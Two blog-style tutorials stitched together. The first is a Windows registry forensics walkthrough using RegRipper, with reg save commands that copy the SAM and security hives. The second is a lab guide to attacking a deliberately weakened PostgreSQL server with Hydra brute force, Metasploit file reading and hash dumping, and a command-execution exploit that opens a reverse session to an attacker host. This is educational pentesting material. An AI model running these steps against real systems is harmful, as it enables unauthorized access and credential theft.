Forensic Investigation: Windows Registry Analysis


In this article, we will learn how we can use RegRipper to analyze the windows registry in the forensic investigation environment.

Table of Content
Introduction to RegRipper
Creating a Registry Hives
SAM file
§  Analyzing Log: SAM
§  Analyzing Report: SAM
System file
§  Analyzing Log: System
Software file
§  Analyzing Log: Software
§  Analyzing Report: Software
Security file
§  Analyzing Report:Security
Conclusion

Let's begin the Forensic Investigation!!

Introduction to Regripper
RegRipper is an open-source tool, written in Perl. To extracting and parsing information like [keys, values, data] from the Registry and presenting it for analysis.
Its GUI version allows the analyst to select a hive to parse, an output file for the results. It also includes a command-line (CLI) tool called rip.
Rip can be pointed against a hive and can run either a profile (a list of plugins) or an individual plugin against that hive, with the results being sent to STDOUT.
Plugins are extremely valuable in the sense that they can be written to parse data in a manner that is useful to individual analysts.
To learn more about RegRipper click here.
We can download RegRipper for windows from here.

Creating a Registry Hives
A hive is a logical group of keys, subkeys, and values in the registry that has a set of supporting files loaded into memory when the OS is started or user login.
Each time a new user logs on a computer, a new hive file is created for that user with a separate file for the user profile hive.
A user’s hive contains specific registry information about user’s application settings, desktop, environment, network connections, and printers. User profile hives are located under the HKEY_USERS key.
We can learn more about Registry Hives from here.
Use these commands to save a copy of these Registry Hives [SAM, System, Software, and Security].

reg save hklm\sam c:\sam
reg save hklm\system c:\system
reg save hklm\software c:\software
reg save hklm\security c:\security


After saving all these Hive files, we can launch the RegRipper software.
In the Hive file tab, we need to select the location where we saved our Registry hive file. In the Report file tab, select that location where we want our report and log file both saved. Then click on a rip button to get the report and log file.


Now let us learn about all this file information.

SAM file
SAM stands for the Security Account Manager is a database file in windows that stores user's information. The user passwords are stored in a hashed format in a Registry hive either as an LM hash or as an NTLM hash. This file can be found in “%SystemRoot%/system32/config/SAM” and is mounted on HKLM/SAM.
In an attempt to improve the security of the SAM database against offline software cracking, Microsoft introduced the SYSKEY function in Windows NT 4.0. When SYSKEY is enabled, the on-disk copy of the SAM file is partially encrypted, so that the password hash values for all local accounts stored in the SAM are encrypted with a key.


After some time, it will showcase the message on the screen that our work for this investigation process is completed with zero plugins completed with errors.

It will create two files one with logs of the investigation and Second with a Report of the investigation.
Analyzing Log: SAM
Now check the log file with this command.
type samreport.log
It will only tell about the environment of this hive file.


Analyzing Report: SAM
Secondly now its Report time. we can access this file with the following commands.
type samreport.txt
As we can see in the below screenshot it will tell about SAM version and User information.


Now, as we can see the main user account got spotted with its major details like.
Username: SKS19 [1001]
Full Name: SHUBHAM KUMAR SHARMA
Account Created: 2020-06-27 14:00:47Z
Name: SHUBHAM KUMAR SHARMA
InternetName: S******.SK@outlook.com
Pwd Reset Date: 2020-06-27 14:01:10Z
Embedded RID: 1001


Next, we have spotted Group Membership Information. With its group name Guests and its details.


Some more group membership information, the group's name like Users, System Managed Accounts Group, and Administrators. Their details revel Lastwrite, Group Comment, and Its Users.


Lastly, RDP and some Analysis tips which would be handy for us in the Investigation.


System file
The system hive file consists of all basic information regarding the system information. Now, repeat the same steps for RegRipper and select the location of the Hive file and Report file. Then click on the Rip! Button to start the Investigation process.


After some time, it will showcase the message on the screen that our work for this investigation process is completed with zero plugins completed with errors. As we mentioned earlier it will create two files: Log and Report.


Analyzing Log: System
The first file is the log file regarding gathering information from that directory. After seeing the logs regarding system information.
type systemreport.log


Analyzing Report: System
we have opened its report with these commands.
type systemreport.txt
The below screenshot tells about all the software installed with their default directory along with its path.


After that, we found out control set backups details in the victim's system. Along with temp file details.


Now, this result is showing us about the HKLM [ HKEY_LOCAL_MACHINE] user's BAM. It is a user specific application.


Now it shows, Some device details, Computer name on diff-diff instances and crash control information.



Now the network media streaming devices connected with the system. In our case, it is from a Sony corporation. We can get along some interesting details with its hardware ID. It also gets some details regarding the connected USB devices no matter their currently connected or not.


After this, it will cover the hardware details along with NTFS disable the last access update. Like, ControlSet001\Control\Session Manager\Environment, Hardware details.


After this IP address and Domain name details with Hint. Analysis Tips and Mounted devices.


Now Finally in the System file, we got details regarding mounted devices details. It gets all details whether they are currently mounted or not.


Software file
Software Hive file consists, all the information regarding the software installed in this system.


After some time, it will showcase the message on the screen that our work for this investigation process is completed with zero plugins completed with errors.


Analyzing Log: Software
As usual, we opened the logfile first to check its log to understand through which file it is detecting to create an Investigation report for this file. Now run this command to view this file.
type softwarereport.log


Analyzing Report: Software
Now we need to view the report file of the software hive file. So, run this command to get this file.
type softwarereport.txt
In this report, the first page shows details regarding AppInit DLLs values. AppInit DLLs is a mechanism that allows an arbitrary list of DLLs to be loaded into each user-mode process on the system.



The next page shows us the details regarding application details and the App Paths subkeys.


After this, it will showcase all the drivers regarding Input and output devices installed in the victim’s system. It will show us Bluetooth driver details and the system doesn't have a webcam in the system.


Last page of this report regarding the CLSID key. Where CLSID is a globally unique identifier that identifies a COM class object. If your server or container allows linking to its embedded objects, you need to register a CLSID for each supported class of objects.
The CLSID key contains information used by the default COM handler to return information about a class when it is running. The CLSID is a 128-bit number, in hex, within a pair of curly braces.


Security file
Security hive help us to understand the security measures of the victim’s system in the Forensic Investigation process.
Now, follow the previous steps for RegRipper and select the location of the Hive file and Report file. Then click on the Rip! Button to start the Investigation process.


After some time, it will showcase the message on the screen that our work for this investigation process is completed with zero plugins completed with errors.


Analyzing Log: Security
Now we checked its log file to deeply understand our Investigation report. Run these commands to view the log file in the command prompt.
type securityreport.log


Analyzing Report: Security
To view, the security hive file report follows this command.
type securityreport.txt
This report page is all about the security hive file audit policy. An audit policy specifies account limits of one or multiple resources for a group of users.
This contains guidelines that establish policy limitations and workflows for processing breaches after they occurs.
Where N means No audit, S means Success, and F means failure.


It also include last write of audits.

Conclusion
The Windows Registry is a hierarchical database that stores low-level settings for the operating system of Microsoft Windows and for programs choosing to use the registry. The register also offers access to counters for results in profiling systems. In other terms, on all models of Microsoft Windows operating systems, the registry or Windows registry contains information, settings, options, and other values for programs and hardware installed.
These details can be extracted with RegRipper to get a better result in the Forensic Investigation.

Penetration Testing on PostgreSQL (5432)


In this post, we will demonstrate how to set-up our own Vulnerable PostgreSQL for penetration testing on Ubuntu 20.04 and How to conduct PostgreSQL penetration testing.
Table of Content
Pre-requisites
PostgreSQL Setup on Ubuntu 20.04
PostgreSQL Penetration Testing
Scanning: Nmap
Brute force: Hydra
Access Postgres Shell
Exploiting: Metasploit
·         Module 1: Postgres Readfile
·         Module 2: Banner Grabbing for Postgres_sql
·         Module 3: Dumping Password Hashes
·         Module 3: Dumping Password Hashes
·         Module 4:  Pwn Postgres Shell

Pre-requisites:

Target:  Ubuntu
Attacker: Kali Linux
PostgreSQL Setup on Ubuntu 20.04
PostgreSQL is an open-source and advanced object-oriented relational database which is also known as Postgres. It is a powerful high-performance database management system released under a flexible BSD-style license.
In order to configure PostgreSQL in your Ubuntu platform, there are some prerequisites required for installation.
§  Ubuntu 20.04
§  Root Privileges
Install PostgreSQL and All Dependencies
PostgreSQL are available in the Ubuntu repository. So you just need to install them with the apt command.
apt install postgresql postgresql-client



on the time of installation, a prompt will display on your system that will ask you to confirm the installation process that either you want to continue or not. You need to press ‘y’ to continue the installation.
Once installation is completed, start the PostgreSQL service and add it to the system boot by entering following command
systemctl start postgresql.service
systemctl enable postgresql.service

Set PostgreSQL user password

You can create the user password for PostgreSQL. Using the following command, you can change the default user password for PostgreSQL. During this process a prompt display on your system that will ask you to enter the new password. After that, a conformation will be displayed ‘password updated successfully’. And then next, Now you will log in to database as a user or working shell using the following command:
passwd postgres
su -l postgres
psql



Create a database and user roles

You can create new databases and users using PostgreSQL shell as follows:
psql -c "alter user postgres with password '123' "
createuser -EPd ignite
createdb secret -O ignite
psql secret



Enter the following command to list the databases:
psql-l



PostgreSQL by default listens at Local Interface which is 127.0.0.1. But, for the remote access you need to some changes in configuration file. To Access the configuration file you will use the following command:
nano /etc/postgresql/12/main/postgresql.conf



under the connection settings you will set #listen_addresses= ‘*’



Now you will restart the PostgreSQL service by entering the following command
service postgresql restart



Let’s start Pentesting PostgreSQL

In this section, you will be learning how to compromise Databases credentials using different techniques.
Let’s fire up the Attacking machine kali-linux

Nmap

By-default PostgreSQL service is running on the port no. 5432, with the help of NMAP let’s identify the state of Port.
nmap -p5432  192.168.1.108



As you can see, it has shown Open state for postgresql at port 5432.
Hydra – A Brute Forcing Tool
Hydra is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely.
Let’s brute-force the target to perform this attack you should go with the following command where -L option enables dictionary for username parameter and -P options enables dictionary for the password list.
hydra -L user.txt -P pass.txt 192.168.1.108 postgres
As above you can see we have successfully dumped the credentials you can use these credentials in gaining access on the database.


 
Connect to Database Remotely
Kali Linux by default have the psql utility which allows you to authenticate with PostgreSQL database if the username and the password are already known.
As we have already right credentials of database
 psql -h 192.168.1.108 -U postgres



Metasploit
As we know Metasploit comes preinstalled with Kali Linux, so our first step is to get to the Metasploit console.
Module 1: Postgres Readfile
The postgres_readfile module, when provided with credentials (e.g. superuser account) for a PostgreSQL server, will read and display files of your choosing on the server.
msf > use auxiliary/admin/postgres/postgres_readfile
msf auxiliary(admin/postgres/postgres_readfile) > set rhosts 192.168.1.108
msf auxiliary(admin/postgres/postgres_readfile) > set rfile /etc/passwd
msf auxiliary(admin/postgres/postgres_readfile) > set password 123
msf auxiliary(admin/postgres/postgres_readfile) > exploit



Module 2: Banner Grabbing for Postgres_sql
The postgres_sql module, when provided with valid credentials for a PostgreSQL server, will perform queries of your choosing and return the results.
msf > use auxiliary/admin/postgres/postgres_sql
msf auxiliary(admin/postgres/postgres_sql) > set rhosts 192.168.1.108
msf auxiliary(admin/postgres/postgres_sql) > set username ignite
msf auxiliary(admin/postgres/postgres_sql) > set password 123
msf auxiliary(admin/postgres/postgres_sql) > exploit



Module 3: Dumping Password Hashes
As we have credentials of database admin then we use this one-liner exploit to dump all the user hashes in Metasploit:
msf use auxiliary/scanner/postgres/postgres_hashdump
msf auxiliary(scanner/postgres/postgres_hashdump) > set rhosts 192.168.1.108
msf auxiliary(scanner/postgres/postgres_hashdump) > set username postgres
msf auxiliary(scanner/postgres/postgres_hashdump) > set password 123
msf auxiliary(scanner/postgres/postgres_hashdump) > set exploit



Module 4:  Pwn Postgres Shell
Installations running Postgres 9.3 and above have functionality which allows for the superuser and users with 'pg_execute_server_program' to pipe to and from an external program using COPY. This allows arbitrary command execution as though you have console access. This module attempts to create a new table, then execute system commands in the context of copying the command output into the table
msf > exploit/multi/postgres/postgres_copy_from_program_cmd_exec
msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set rhosts 192.168.1.08
msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set lhost 192.168.1.111
msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set username postgres
msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set password 123
msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > exploit



Now we gained access on database, you can observe that here we obtain command session and latter we have upgrade it into meterpreter sessions.
msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run
msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > sessions
msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > sessions -u 1
msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > sessions 2


Now we have full access on database, in this way we can test for postgres loopholes and submit the findings to the network admin 😊.